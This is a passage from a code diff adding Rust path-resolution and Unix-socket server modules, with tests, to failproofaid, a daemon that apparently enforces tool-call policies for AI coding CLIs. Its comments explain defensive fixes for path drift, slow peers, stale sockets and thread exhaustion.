Some(socket_override) = std::env::var_os("FAILPROOFAI_DAEMON_SOCKET") { + let path = PathBuf::from(socket_override); + return path + .parent() + .map(PathBuf::from) + .ok_or_else(|| io::Error::other("FAILPROOFAI_DAEMON_SOCKET has no parent directory")); + } + Ok(failproofai_home()?.join("run")) +} + +pub fn socket_path() -> io::Result { + if let Some(socket_override) = std::env::var_os("FAILPROOFAI_DAEMON_SOCKET") { + return Ok(PathBuf::from(socket_override)); + } + Ok(run_dir()?.join("failproofaid.sock")) +} + +pub fn lock_path() -> io::Result { + Ok(run_dir()?.join("failproofaid.lock")) +} + +/// Where the daemon tells the worker subprocess to listen — a second +/// socket, distinct from `socket_path()`, that only this process ever +/// connects to. Overridable via `FAILPROOFAI_WORKER_SOCKET` for local dev +/// (mirrors `FAILPROOFAI_DAEMON_SOCKET`'s override for the client-facing +/// socket). +pub fn worker_socket_path() -> io::Result { + if let Some(socket_override) = std::env::var_os("FAILPROOFAI_WORKER_SOCKET") { + return Ok(PathBuf::from(socket_override)); + } + Ok(run_dir()?.join("worker.sock")) +} + +/// `~/.failproofai/policies/cloud-policies` — where pulled generations land. +/// The override keeps tests and development runs away from a user's real +/// policy directory. +/// +/// The directory name is `cloud-policies`, matching `fp-home.ts`'s +/// `cloudPoliciesDir`, which is what the hook path actually reads. Layout 2 +/// renamed it from `cloud-managed` and this function kept writing the old +/// name — so the daemon downloaded every generation, verified it, wrote it to +/// disk, and the CLI read an empty directory and enforced nothing. Both halves +/// looked healthy; only the combination was broken. +pub fn cloud_managed_policy_dir() -> io::Result { + if let Some(path) = std::env::var_os("FAILPROOFAI_CLOUD_POLICY_DIR") { + return Ok(PathBuf::from(path)); + } + Ok(failproofai_home()?.join("policies").join("cloud-policies")) +} + +// ── Layout 2 ───────────────────────────────────────────────────────────────── +// +// These MUST mirror `src/hooks/fp-home.ts` exactly. The daemon and the CLI are +// separate processes with separate path logic, so a divergence does not fail — +// it means the daemon writes where the dashboard never reads, and an absent +// directory is indistinguishable from an idle one. +// +// `every_mirrored_path_agrees_with_fp_home_ts` at the bottom of this file is +// the guard: it queries the TypeScript module in a child process and compares, +// so adding a mirrored path means adding a row to `mirrored_paths()`. It +// replaces a citation of `crates/failproofaid/tests/layout.rs`, which was never +// created — three of these rows were wrong in production at once while this +// comment claimed they were covered. + +/// `~/.failproofai/hook-activity` — the decision log. Promoted out of `cache/` +/// in layout 2: nothing regenerates it, so it was never a cache. +pub fn hook_activity_dir() -> io::Result { + Ok(failproofai_home()?.join("hook-activity")) +} + +/// `~/.failproofai/cursors/` — per-source collector watermarks. +pub fn cursors_dir() -> io::Result { + Ok(failproofai_home()?.join("cursors")) +} + +/// `~/.failproofai/state/audit-schedule.json` — when the scheduled audit last +/// ran and when the next one is due. +/// +/// The one path under `state/` that IS mirrored here, and the exception is the +/// point: the collector derives its own paths from the `home` it is handed (see +/// the note below), whereas this file has exactly two parties — the daemon, +/// which is its sole writer, and `auditScheduleFile()` in `src/hooks/fp-home.ts`, +/// which the dashboard's last-run / next-due readout reads. Two processes with +/// two path expressions is precisely the drift this section exists to prevent. +/// `~/.failproofai/state/backfill-request.json` — a pending `failproofai +/// backfill`, waiting for the daemon to act on it. +/// +/// A FILE rather than an IPC call, for two reasons. The CLI hands off and +/// returns immediately, so nothing is holding a connection to answer on; and a +/// request that outlives a daemon restart is the one a person expects — a +/// backfill asked for while the service happened to be cycling should still +/// happen, not vanish. +/// +/// The daemon deletes it once acted on, so the file's existence IS the pending +/// state and there is no separate "done" flag to get out of step with it. +pub fn backfill_request_path() -> io::Result { + Ok(failproofai_home()? + .join("state") + .join("backfill-request.json")) +} + +pub fn audit_schedule_path() -> io::Result { + Ok(failproofai_home()? + .join("state") + .join("audit-schedule.json")) +} + +/// `~/.failproofai/state/telemetry-id` — the anonymous instance id the CLI +/// resolved, so the daemon reports under the SAME PostHog person the CLI does. +/// +/// Mirrored for the same reason `audit_schedule_path` is, with the direction +/// reversed: the CLI is the sole writer (`getInstanceId()` in +/// `lib/telemetry-id.ts`) and the daemon only reads. Two path expressions would +/// not fail — the daemon would simply never find the file, fall to a tier it can +/// recompute, and file this machine under a second person that looks exactly +/// like a second machine. +/// Takes the home rather than resolving it, unlike its neighbours: its only +/// caller (the telemetry lane) already holds one, and passing it is what lets +/// the identity ladder be tested against a scratch directory without mutating +/// process-global environment under a parallel test harness. +pub fn telemetry_id_path(home: &std::path::Path) -> PathBuf { + home.join("state").join("telemetry-id") +} + +// The collector's own paths — state/, spool/, failed/, collector-health.json, +// custom-agents/, credentials.toml, config.toml — are NOT mirrored here. +// `fpai-collect` derives them from the `home` it is handed (see its +// `config.rs` and `health.rs`), so a copy in this file would be dead code that +// exists only to drift out of agreement with the one that is actually used. +// What must agree is the LAYOUT, and `__tests__/e2e/layout/` asserts that +// end to end against a real daemon. + +/// `~/.failproofai` — the root the collector reads its configuration from. +/// +/// `FAILPROOFAI_HOME` overrides it so tests and development runs never touch a +/// real user's config, and so a containerised daemon can be pointed at a +/// mounted volume. +pub fn failproofai_home() -> io::Result { + if let Some(path) = std::env::var_os("FAILPROOFAI_HOME") { + return Ok(PathBuf::from(path)); + } + let home = std::env::var_os("HOME") + .ok_or_else(|| io::Error::other("HOME is not set; cannot resolve the failproofai home"))?; + Ok(PathBuf::from(home).join(".failproofai")) +} + +/// Creates the run directory (`0700`) if it doesn't exist yet. This +/// directory holds a socket that evaluates security-relevant decisions, so +/// a freshly created one is always locked to owner-only. +/// +/// If the directory already exists, this deliberately does **not** chmod +/// it into shape — only a directory failproofaid created itself gets its +/// permissions enforced. `FAILPROOFAI_DAEMON_SOCKET` is a raw path (dev/test +/// override; see `run_dir`), and blindly tightening permissions on whatever +/// pre-existing directory its parent happens to resolve to would let a +/// misconfigured override silently reach out and chmod an unrelated shared +/// directory (worst case, something like `/tmp` itself). Failing loudly is +/// the safe default; a real deployment's `~/.failproofai/run` is always +/// failproofaid's own directory and will simply be created fresh the first +/// time, taking the safe branch below. +pub fn ensure_run_dir() -> io::Result { + let dir = run_dir()?; + if dir.exists() { + let mode = fs::metadata(&dir)?.permissions().mode() & 0o777; + if mode != 0o700 { + return Err(io::Error::other(format!( + "run directory {} already exists with permissions {:o} (expected 0700) — \ + refusing to modify a directory failproofaid did not create itself", + dir.display(), + mode + ))); + } + return Ok(dir); + } + fs::create_dir_all(&dir)?; + fs::set_permissions(&dir, fs::Permissions::from_mode(0o700))?; + Ok(dir) +} + +#[cfg(test)] +mod tests { + use super::*; + use std::sync::Mutex; + + // std::env::set_var affects the whole process, so these tests must not + // run concurrently with each other or with other tests reading these + // vars. + static ENV_LOCK: Mutex<()> = Mutex::new(()); + + #[test] + fn socket_override_takes_precedence_over_home() { + let _guard = ENV_LOCK.lock().unwrap(); + unsafe { + std::env::set_var("FAILPROOFAI_DAEMON_SOCKET", "/tmp/example/daemon.sock"); + } + assert_eq!( + socket_path().unwrap(), + PathBuf::from("/tmp/example/daemon.sock") + ); + assert_eq!(run_dir().unwrap(), PathBuf::from("/tmp/example")); + unsafe { + std::env::remove_var("FAILPROOFAI_DAEMON_SOCKET"); + } + } + + #[test] + fn default_socket_path_lives_under_home_dot_failproofai_run() { + let _guard = ENV_LOCK.lock().unwrap(); + unsafe { + std::env::remove_var("FAILPROOFAI_DAEMON_SOCKET"); + std::env::remove_var("FAILPROOFAI_HOME"); + std::env::set_var("HOME", "/home/example-user"); + } + assert_eq!( + socket_path().unwrap(), + PathBuf::from("/home/example-user/.failproofai/run/failproofaid.sock") + ); + } + + #[test] + fn the_socket_follows_failproofai_home_because_the_cli_does() { + // The regression this exists for: while `run_dir` read `$HOME` + // directly, setting FAILPROOFAI_HOME put the daemon on one socket and + // the hook on another (`fp-home.ts`'s `runDir` has always honoured it). + // A daemon-configured machine fails closed when it cannot reach the + // daemon — so a HEALTHY daemon denied every tool call across all 11 + // CLIs, and the only symptom was the generic "could not be reached". + let _guard = ENV_LOCK.lock().unwrap(); + unsafe { + std::env::remove_var("FAILPROOFAI_DAEMON_SOCKET"); + std::env::set_var("HOME", "/home/example-user"); + std::env::set_var("FAILPROOFAI_HOME", "/tmp/alt-home"); + } + assert_eq!( + socket_path().unwrap(), + PathBuf::from("/tmp/alt-home/run/failproofaid.sock") + ); + assert_eq!( + worker_socket_path().unwrap(), + PathBuf::from("/tmp/alt-home/run/worker.sock") + ); + assert_eq!( + lock_path().unwrap(), + PathBuf::from("/tmp/alt-home/run/failproofaid.lock") + ); + unsafe { + std::env::remove_var("FAILPROOFAI_HOME"); + } + } + + #[test] + fn pulled_policies_land_where_the_cli_reads_them() { + // `fp-home.ts`: `cloudPoliciesDir = policies/cloud-policies`. This + // wrote layout 1's `policies/cloud-managed`, so the daemon downloaded + // every generation, verified its hashes, wrote it to disk — and the CLI + // read an empty directory and enforced nothing. Both halves logged + // success; only the combination was broken. + let _guard = ENV_LOCK.lock().unwrap(); + unsafe { + std::env::remove_var("FAILPROOFAI_CLOUD_POLICY_DIR"); + std::env::set_var("FAILPROOFAI_HOME", "/tmp/alt-home"); + } + assert_eq!( + cloud_managed_policy_dir().unwrap(), + PathBuf::from("/tmp/alt-home/policies/cloud-policies") + ); + unsafe { + std::env::remove_var("FAILPROOFAI_HOME"); + std::env::set_var("HOME", "/home/example-user"); + } + assert_eq!( + cloud_managed_policy_dir().unwrap(), + PathBuf::from("/home/example-user/.failproofai/policies/cloud-policies") + ); + } + + #[test] + fn every_runtime_path_shares_one_home() { + // Two notions of "the failproofai home" in one process is the shape of + // all three bugs above: some paths read `$HOME/.failproofai` and the + // rest read FAILPROOFAI_HOME, so the daemon silently split itself + // across two directories. + let _guard = ENV_LOCK.lock().unwrap(); + unsafe { + std::env::remove_var("FAILPROOFAI_DAEMON_SOCKET"); + std::env::remove_var("FAILPROOFAI_CLOUD_POLICY_DIR"); + std::env::set_var("HOME", "/home/example-user"); + std::env::set_var("FAILPROOFAI_HOME", "/tmp/one-home"); + } + for path in [ + run_dir().unwrap(), + cloud_managed_policy_dir().unwrap(), + hook_activity_dir().unwrap(), + cursors_dir().unwrap(), + ] { + assert!( + path.starts_with("/tmp/one-home"), + "{} escaped FAILPROOFAI_HOME", + path.display() + ); + } + unsafe { + std::env::remove_var("FAILPROOFAI_HOME"); + } + } + + #[test] + fn ensure_run_dir_creates_it_with_owner_only_permissions() { + let _guard = ENV_LOCK.lock().unwrap(); + let tmp = + std::env::temp_dir().join(format!("failproofaid-paths-test-{}", std::process::id())); + unsafe { + std::env::set_var( + "FAILPROOFAI_DAEMON_SOCKET", + tmp.join("run").join("failproofaid.sock"), + ); + } + let dir = ensure_run_dir().unwrap(); + let mode = fs::metadata(&dir).unwrap().permissions().mode() & 0o777; + assert_eq!(mode, 0o700); + fs::remove_dir_all(&tmp).ok(); + unsafe { + std::env::remove_var("FAILPROOFAI_DAEMON_SOCKET"); + } + } + + #[test] + fn ensure_run_dir_refuses_to_touch_a_preexisting_directory_with_the_wrong_permissions() { + let _guard = ENV_LOCK.lock().unwrap(); + let tmp = std::env::temp_dir().join(format!( + "failproofaid-paths-test-preexisting-{}", + std::process::id() + )); + // Simulate FAILPROOFAI_DAEMON_SOCKET being pointed at some + // unrelated, already-existing directory (e.g. a misconfigured + // override resolving to a shared temp dir) — this must error + // instead of silently chmod-ing a directory failproofaid doesn't + // own. + fs::create_dir_all(&tmp).unwrap(); + fs::set_permissions(&tmp, fs::Permissions::from_mode(0o755)).unwrap(); + unsafe { + std::env::set_var("FAILPROOFAI_DAEMON_SOCKET", tmp.join("failproofaid.sock")); + } + + let result = ensure_run_dir(); + assert!(result.is_err(), "expected an error, got {result:?}"); + let mode_after = fs::metadata(&tmp).unwrap().permissions().mode() & 0o777; + assert_eq!(mode_after, 0o755, "permissions must be left untouched"); + + fs::remove_dir_all(&tmp).ok(); + unsafe { + std::env::remove_var("FAILPROOFAI_DAEMON_SOCKET"); + } + } + + /// Every path this file and `fp-home.ts` must both resolve the same way, + /// as `(rust value, the `fp-home.ts` export that must equal it)`. + /// + /// Add a row whenever a path is mirrored. A Rust-only or TS-only path does + /// NOT belong here — see the note above `failproofai_home` about the + /// collector deriving its own paths from the home it is handed. + fn mirrored_paths() -> Vec<(&'static str, PathBuf, &'static str)> { + vec![ + ("run_dir", run_dir().unwrap(), "runDir()"), + ("socket_path", socket_path().unwrap(), "daemonSocket()"), + ( + "worker_socket_path", + worker_socket_path().unwrap(), + "workerSocket()", + ), + ("lock_path", lock_path().unwrap(), "daemonLock()"), + ( + "cloud_managed_policy_dir", + cloud_managed_policy_dir().unwrap(), + "cloudPoliciesDir()", + ), + ( + "hook_activity_dir", + hook_activity_dir().unwrap(), + "hookActivityDir()", + ), + ("cursors_dir", cursors_dir().unwrap(), "cursorsDir()"), + ( + "audit_schedule_path", + audit_schedule_path().unwrap(), + "auditScheduleFile()", + ), + ( + "telemetry_id_path", + telemetry_id_path(&failproofai_home().unwrap()), + "telemetryIdFile()", + ), + ( + "cloud_client::credentials_path", + crate::cloud_client::credentials_path().unwrap(), + "credentialsFile()", + ), + ] + } + + /// The cross-language guard this file's header has always claimed. + /// + /// Two processes, two path expressions, and a divergence that does not + /// fail — it means the daemon writes where the CLI never reads, and an + /// absent directory is indistinguishable from an idle one. Three rows here + /// were live bugs at once: `run_dir` read `$HOME` while the CLI honoured + /// `FAILPROOFAI_HOME` (so a healthy daemon denied every tool call on a + /// fail-closed machine), `cloud_managed_policy_dir` still wrote layout 1's + /// `cloud-managed` (so every verified generation landed in a directory + /// nothing opened), and the credential moved to `credentials.toml` on one + /// side only (so `--connect` wrote a token the daemon never read). Each was + /// fixed by hand; nothing stopped the next one, and BOTH files cited a test + /// that did not exist — `fp-home.ts` named `__tests__/hooks/fp-home.test.ts` + /// (no reference to `crates/`) and this file named + /// `crates/failproofaid/tests/layout.rs` (never created). + /// + /// It asks the OTHER implementation rather than restating its answers: + /// hardcoding the expected strings here — which the tests above do, and + /// which is why they all passed while all three rows were wrong — only + /// pins Rust against Rust. + #[test] + fn every_mirrored_path_agrees_with_fp_home_ts() { + let _guard = ENV_LOCK.lock().unwrap(); + + let home = + std::env::temp_dir().join(format!("failproofaid-layout-parity-{}", std::process::id())); + unsafe { + // Both overrides off: they short-circuit the very derivation under + // test, and a green run with them set is what let the cloud rows + // stay broken in production for as long as they did. + std::env::remove_var("FAILPROOFAI_DAEMON_SOCKET"); + std::env::remove_var("FAILPROOFAI_WORKER_SOCKET"); + std::env::remove_var("FAILPROOFAI_CLOUD_POLICY_DIR"); + std::env::remove_var("FAILPROOFAI_CLOUD_CREDENTIALS"); + std::env::set_var("FAILPROOFAI_HOME", &home); + } + + let rows = mirrored_paths(); + + let repo_root = std::path::Path::new(env!("CARGO_MANIFEST_DIR")) + .parent() + .and_then(|p| p.parent()) + .expect("crates/failproofaid should be two levels under the repo root") + .to_path_buf(); + let fp_home_ts = repo_root.join("src").join("hooks").join("fp-home.ts"); + assert!(fp_home_ts.exists(), "expected {fp_home_ts:?} to exist"); + + // Ask the TypeScript module itself, in a child process that sees the + // same FAILPROOFAI_HOME. + let script = format!( + "const m = await import({:?}); console.log(JSON.stringify({{{}}}));", + fp_home_ts.to_string_lossy(), + rows.iter() + .map(|(name, _, ts_expr)| format!("{name:?}: m.{ts_expr}")) + .collect::>() + .join(", ") + ); + let out = std::process::Command::new("bun") + .arg("-e") + .arg(&script) + .env("FAILPROOFAI_HOME", &home) + .env_remove("FAILPROOFAI_DAEMON_SOCKET") + .env_remove("FAILPROOFAI_WORKER_SOCKET") + .env_remove("FAILPROOFAI_CLOUD_POLICY_DIR") + .env_remove("FAILPROOFAI_CLOUD_CREDENTIALS") + .output() + .expect("bun must be on PATH — the rust-quality CI job installs it"); + assert!( + out.status.success(), + "querying fp-home.ts failed: {}", + String::from_utf8_lossy(&out.stderr) + ); + let ts: serde_json::Value = + serde_json::from_slice(&out.stdout).expect("fp-home.ts must print one JSON object"); + + for (name, rust_value, ts_expr) in &rows { + let ts_value = ts + .get(name) + .and_then(|v| v.as_str()) + .unwrap_or_else(|| panic!("fp-home.ts returned nothing for {name}")); + assert_eq!( + rust_value.to_string_lossy(), + ts_value, + "paths.rs::{name} and fp-home.ts's {ts_expr} disagree — the daemon \ + would write where the CLI never reads" + ); + } + + unsafe { + std::env::remove_var("FAILPROOFAI_HOME"); + } + } +} diff --git a/crates/failproofaid/src/server.rs b/crates/failproofaid/src/server.rs new file mode 100644 index 00000000..ab751eeb --- /dev/null +++ b/crates/failproofaid/src/server.rs @@ -0,0 +1,830 @@ +//! The Unix-socket server: bind, accept, verify the peer, dispatch one +//! request per connection. +//! +//! `Hook` requests are relayed to the warm worker (see `worker.rs`); `Ping` +//! is answered directly. Any failure to reach/use the worker becomes a +//! client-facing `Error` response — never a hang, never a crash of the +//! connection-handling thread. + +use crate::worker::Worker; +use fpai_ipc::{ClientMessage, PROTOCOL_VERSION, ServerMessage, peer, read_message, write_message}; +use std::fs; +use std::io; +use std::os::unix::fs::PermissionsExt; +use std::os::unix::net::{UnixListener, UnixStream}; +use std::path::{Path, PathBuf}; +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering}; +use std::time::Duration; + +/// Bounds how long a single connection may hold its handler thread waiting +/// on the peer. A client that connects and then sends nothing would +/// otherwise park a thread for the daemon's entire lifetime, and those +/// accumulate — the opposite of the "never a hang" promise above. Generous +/// for a real client (which writes its request immediately after connect, +/// over a local socket) and still bounded. +/// +/// Enforced as an ABSOLUTE DEADLINE per connection (see [`Deadline`]), not by +/// handing it to `set_read_timeout` alone. `SO_RCVTIMEO` bounds a single +/// `read(2)`, and `read_message` reads through `read_exact`, which loops until +/// the buffer is full — so every byte that arrives resets the clock. A peer +/// dribbling one byte every nine seconds satisfied that timeout forever while +/// pinning its handler thread, and 64 of them fill +/// [`MAX_INFLIGHT_CONNECTIONS`], at which point the daemon refuses every real +/// hook and a `daemonConfigured` machine fails closed on every tool call. The +/// doc comment above asserted the opposite invariant. +const CONNECTION_IO_TIMEOUT: Duration = Duration::from_secs(10); + +/// Enforces [`CONNECTION_IO_TIMEOUT`] as a wall-clock budget across every +/// read and write on one connection, rather than per syscall. +/// +/// Before each operation it re-arms the socket timeout with what is LEFT of +/// the budget, so a slow peer cannot extend its own deadline by making +/// progress. Once the budget is spent the operation fails rather than +/// blocking — the handler thread returns, and the client sees a dropped +/// connection, which is already its fail-closed path. +struct Deadline<'a> { + stream: &'a UnixStream, + expires_at: std::time::Instant, +} + +impl<'a> Deadline<'a> { + fn new(stream: &'a UnixStream, budget: Duration) -> Self { + Self { + stream, + expires_at: std::time::Instant::now() + budget, + } + } + + /// The remaining budget, or `TimedOut` once it is gone. Never returns a + /// zero duration: to `set_*_timeout` that means "block forever", which is + /// exactly the state this type exists to prevent. + fn remaining(&self) -> io::Result { + let left = self + .expires_at + .saturating_duration_since(std::time::Instant::now()); + if left.is_zero() { + return Err(io::Error::new( + io::ErrorKind::TimedOut, + "connection exceeded its total I/O budget", + )); + } + Ok(left) + } +} + +impl io::Read for Deadline<'_> { + fn read(&mut self, buf: &mut [u8]) -> io::Result { + self.stream.set_read_timeout(Some(self.remaining()?))?; + (&*self.stream).read(buf) + } +} + +impl io::Write for Deadline<'_> { + fn write(&mut self, buf: &[u8]) -> io::Result { + self.stream.set_write_timeout(Some(self.remaining()?))?; + (&*self.stream).write(buf) + } + + fn flush(&mut self) -> io::Result<()> { + (&*self.stream).flush() + } +} + +/// Hard ceiling on connection-handling threads alive at once. The worker +/// serializes evaluation anyway, so more than a handful in flight already +/// means the daemon is badly backed up; refusing past this point turns +/// "spawn threads until the process dies" into a bounded, logged overload +/// that the client sees as an unreachable daemon (i.e. its own fail-closed +/// path), which is the correct outcome for a daemon in that state. +const MAX_INFLIGHT_CONNECTIONS: usize = 64; + +pub struct Server { + listener: UnixListener, + socket_path: PathBuf, + worker: Arc, +} + +/// Decrements the in-flight connection count on scope exit, including +/// during an unwind — a leaked count would permanently shrink the budget in +/// [`MAX_INFLIGHT_CONNECTIONS`] and eventually wedge the daemon. +struct InflightGuard(Arc); + +impl Drop for InflightGuard { + fn drop(&mut self) { + self.0.fetch_sub(1, Ordering::Relaxed); + } +} + +impl Server { + /// Binds a fresh listener at `socket_path`, replacing a stale socket file + /// left behind by a process that didn't shut down cleanly. + /// + /// "Stale" is established by PROBING the path, not by assuming it: if + /// something is still accepting there, this refuses with `AddrInUse` rather + /// than unlinking a socket a live daemon is serving. See the note below on + /// why the singleton `flock` is not sufficient on its own. + pub fn bind(socket_path: &Path, worker: Arc) -> io::Result { + // `symlink_metadata`, not `exists()`. `Path::exists()` FOLLOWS + // symlinks, so a DANGLING symlink at the socket path reports false, + // is left in place, and `UnixListener::bind` then fails `EADDRINUSE`. + // With `Restart=on-failure` in the unit that is a crash loop, and a + // crash-looping daemon on a `daemonConfigured` machine denies every + // tool call across every CLI — reachable with one `ln -s`. + // + // Unlinking unconditionally is safe for the same reason the old check + // was: a live daemon is never listening on a leftover path (the + // singleton flock in `lock.rs` is what actually prevents two daemons), + // so anything here is debris. + // + // "Anything here is debris" rested entirely on `flock()` guaranteeing + // there is no second daemon, and flock does NOT provide that across + // hosts on an NFS-mounted home: pre-NFSv4 locks are client-local + // without an active lockd, and `failproofai_home()` never checks what + // filesystem `$HOME`/`FAILPROOFAI_HOME` lives on. The same user on two + // machines sharing a home would then have the second daemon believe it + // held the lock and unlink the first one's LIVE socket, silently + // orphaning every client of a daemon that is still running — and on a + // fail-closed machine those clients deny every tool call. (`audit-lock.ts` + // already engineers around NFS for `O_EXCL`, so the deployment shape is + // one this codebase accounts for elsewhere.) + // + // So the liveness question is answered directly instead of inferred: + // if something is actually accepting on that path, it is a live daemon + // and this one refuses to start rather than stealing it. A connect that + // fails means nothing is listening, which is what debris looks like on + // any filesystem. + match fs::symlink_metadata(socket_path) { + Ok(_) => { + if UnixStream::connect(socket_path).is_ok() { + return Err(io::Error::new( + io::ErrorKind::AddrInUse, + format!( + "a failproofaid is already accepting connections on {} — refusing to \ + replace it", + socket_path.display() + ), + )); + } + fs::remove_file(socket_path)? + } + Err(err) if err.kind() == io::ErrorKind::NotFound => {} + Err(err) => return Err(err), + } + let listener = UnixListener::bind(socket_path)?; + fs::set_permissions(socket_path, fs::Permissions::from_mode(0o600))?; + Ok(Server { + listener, + socket_path: socket_path.to_path_buf(), + worker, + }) + } + + /// Accepts and handles connections, one thread per connection, until + /// `shutdown` is set to `true`. A short accept timeout keeps the loop + /// polling `shutdown` instead of blocking forever in `accept()`, which + /// is what lets tests stop a server cleanly instead of leaking a + /// blocked thread for the rest of the test process's life. + pub fn run_until(&self, shutdown: Arc) -> io::Result<()> { + self.listener.set_nonblocking(true)?; + let inflight = Arc::new(AtomicUsize::new(0)); + while !shutdown.load(Ordering::Relaxed) { + match self.listener.accept() { + Ok((stream, _addr)) => { + if inflight.load(Ordering::Relaxed) >= MAX_INFLIGHT_CONNECTIONS { + log_connection_error(&io::Error::other(format!( + "refusing connection: {MAX_INFLIGHT_CONNECTIONS} handlers already in flight" + ))); + drop(stream); + continue; + } + inflight.fetch_add(1, Ordering::Relaxed); + let guard = InflightGuard(inflight.clone()); + let worker = self.worker.clone(); + // `Builder::spawn`, not `std::thread::spawn`, for the same + // reason the telemetry, audit and collector lanes use it: + // the plain function PANICS when the OS refuses a thread + // (`RLIMIT_NPROC`, a pids cgroup ceiling, transient + // `pthread_create` EAGAIN). This one runs on the daemon's + // MAIN thread, once per connection — by far the most + // frequent spawn in the process — and nothing above `run()` + // catches an unwind, so a single refusal killed the whole + // daemon. On a `daemonConfigured` machine that denies every + // tool call across every CLI, and `Restart=on-failure` then + // turns it into a crash loop that re-arrives at the same + // exhausted thread limit. + // + // Dropping the connection instead is a bounded, logged + // overload — the same outcome as exceeding + // `MAX_INFLIGHT_CONNECTIONS` above, and the client's own + // fail-closed path. Dropping the closure releases `stream` + // and `guard`, so the in-flight count is restored by + // `InflightGuard::drop` and does not leak the slot. + // + // The error is NOT written back to the peer first: that + // would put a blocking write on the accept loop, and a peer + // that never reads would then stall every other connection + // — trading a rare refused thread for a wedged daemon. + if let Err(err) = std::thread::Builder::new() + .name("fpai-conn".to_string()) + .spawn(move || { + let _guard = guard; + if let Err(err) = handle_connection(stream, &worker) { + log_connection_error(&err); + } + }) + { + log_connection_error(&io::Error::other(format!( + "could not start a handler thread, dropping this connection: {err}" + ))); + } + } + Err(err) if err.kind() == io::ErrorKind::WouldBlock => { + std::thread::sleep(std::time::Duration::from_millis(20)); + } + Err(err) => return Err(err), + } + } + Ok(()) + } +} + +impl Drop for Server { + fn drop(&mut self) { + let _ = fs::remove_file(&self.socket_path); + } +} + +fn log_connection_error(err: &io::Error) { + eprintln!("[failproofaid] connection error: {err}"); +} + +/// Handles exactly one request on `stream`: verify the peer is the same OS +/// user, read one framed [`ClientMessage`], dispatch it, write back one +/// framed [`ServerMessage`], then let the connection close. +pub fn handle_connection(stream: UnixStream, worker: &Worker) -> io::Result<()> { + match peer::is_same_user(&stream) { + Ok(true) => {} + Ok(false) => { + // Different OS user: drop the connection with no response at + // all, rather than an Error message that would confirm a + // daemon is listening here to a peer that has no business + // asking. + return Ok(()); + } + Err(err) => return Err(err), + } + + // `run_until` puts the *listener* in non-blocking mode. On Linux that + // doesn't reach accepted sockets (std uses `accept4`), but on + // BSD-derived systems — macOS, which this daemon supports via launchd — + // the accepted socket inherits `O_NONBLOCK` from the listener. Left + // inherited, `read_message` below returns `WouldBlock` the instant the + // client's bytes haven't landed yet, which this function would treat as + // a malformed frame and answer with silence: every hook call on macOS + // would fail closed. Set the mode explicitly rather than relying on + // per-platform accept semantics. + stream.set_nonblocking(false)?; + // Bound the peer's share of this thread's life in both directions, as ONE + // wall-clock budget across every read and write rather than per syscall + // (see CONNECTION_IO_TIMEOUT and Deadline). + let mut io = Deadline::new(&stream, CONNECTION_IO_TIMEOUT); + + let request: ClientMessage = match read_message(&mut io) { + Ok(msg) => msg, + Err(_) => return Ok(()), // malformed frame: nothing to respond to, nothing to act on + }; + + // The worker call is deliberately OUTSIDE the connection budget: it is our + // own evaluation taking time, not the peer withholding bytes, and it has + // its own 30s ceiling in `worker.rs` matched to the client's. The response + // write below gets a fresh budget for the same reason — a peer that has + // waited through a slow evaluation must not then be denied its answer + // because the read half used the clock up. + let response = dispatch(request, worker); + let mut io = Deadline::new(&stream, CONNECTION_IO_TIMEOUT); + write_message(&mut io, &response) + .map_err(|e| io::Error::other(format!("failed to write response: {e}"))) +} + +fn dispatch(request: ClientMessage, worker: &Worker) -> ServerMessage { + if request.protocol_version() != PROTOCOL_VERSION { + return ServerMessage::Error { + protocol_version: PROTOCOL_VERSION, + message: format!( + "protocol version mismatch: daemon speaks {PROTOCOL_VERSION}, client sent {}", + request.protocol_version() + ), + }; + } + + match request { + ClientMessage::Ping { .. } => ServerMessage::Pong { + protocol_version: PROTOCOL_VERSION, + }, + ClientMessage::Hook { + hook_event, + cli, + stdin, + cwd, + .. + } => match worker.call(&hook_event, &cli, &stdin, cwd.as_deref()) { + Ok(outcome) => ServerMessage::HookResult { + protocol_version: PROTOCOL_VERSION, + exit_code: outcome.exit_code, + stdout: outcome.stdout, + stderr: outcome.stderr, + }, + Err(err) => ServerMessage::Error { + protocol_version: PROTOCOL_VERSION, + message: format!("worker call failed: {err}"), + }, + }, + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::worker::WorkerCommand; + use std::sync::atomic::AtomicBool; + use std::time::Duration; + + fn temp_socket_path(name: &str) -> PathBuf { + std::env::temp_dir().join(format!( + "failproofaid-server-test-{}-{}-{}", + std::process::id(), + name, + fastrand_ish() + )) + } + + // Avoids pulling in a `rand` dependency just to de-collide temp socket + // paths across tests running in parallel threads. + fn fastrand_ish() -> u64 { + use std::time::{SystemTime, UNIX_EPOCH}; + SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap() + .as_nanos() as u64 + } + + /// A `WorkerCommand` that never produces a working worker — for tests + /// that don't care about Hook responses and just need *a* command + /// (Ping never touches the worker at all). + fn broken_worker_cmd() -> WorkerCommand { + WorkerCommand::shell("true") + } + + /// Owns a running test server + the worker it supervises. Shuts the + /// server down and joins its thread on drop — including during an + /// unwind from a failed `assert!`/`.unwrap()` — so a failing test + /// cleans up its spawned worker process (via `Worker::drop`'s + /// process-group kill, see worker.rs) exactly as reliably as a passing + /// one. Before this guard existed, a panic between `start_test_server` + /// and the manual `shutdown.store` + `handle.join()` at the end of a + /// test permanently orphaned the server thread and its live `bun` + /// worker subprocess — reproduced live: three orphaned + /// `failproofai-worker.mjs` processes were still running, minutes + /// later, from earlier iterations of this very test file. + struct TestServerGuard { + shutdown: Arc, + handle: Option>, + } + + impl Drop for TestServerGuard { + fn drop(&mut self) { + self.shutdown.store(true, Ordering::Relaxed); + if let Some(handle) = self.handle.take() { + let _ = handle.join(); + } + } + } + + fn start_test_server_with_worker( + socket_path: PathBuf, + worker_cmd: WorkerCommand, + ) -> TestServerGuard { + let shutdown = Arc::new(AtomicBool::new(false)); + let shutdown_clone = shutdown.clone(); + let worker_socket_path = temp_socket_path("worker-internal"); + let handle = std::thread::spawn(move || { + let worker = Arc::new(crate::worker::Worker::new(worker_socket_path, worker_cmd)); + let server = Server::bind(&socket_path, worker).expect("bind should succeed"); + server + .run_until(shutdown_clone) + .expect("run_until should not error"); + }); + // Give the background thread a moment to actually bind before the + // test tries to connect. + std::thread::sleep(Duration::from_millis(50)); + TestServerGuard { + shutdown, + handle: Some(handle), + } + } + + fn start_test_server(socket_path: PathBuf) -> TestServerGuard { + start_test_server_with_worker(socket_path, broken_worker_cmd()) + } + + #[test] + fn ping_gets_pong() { + let socket_path = temp_socket_path("ping"); + let _guard = 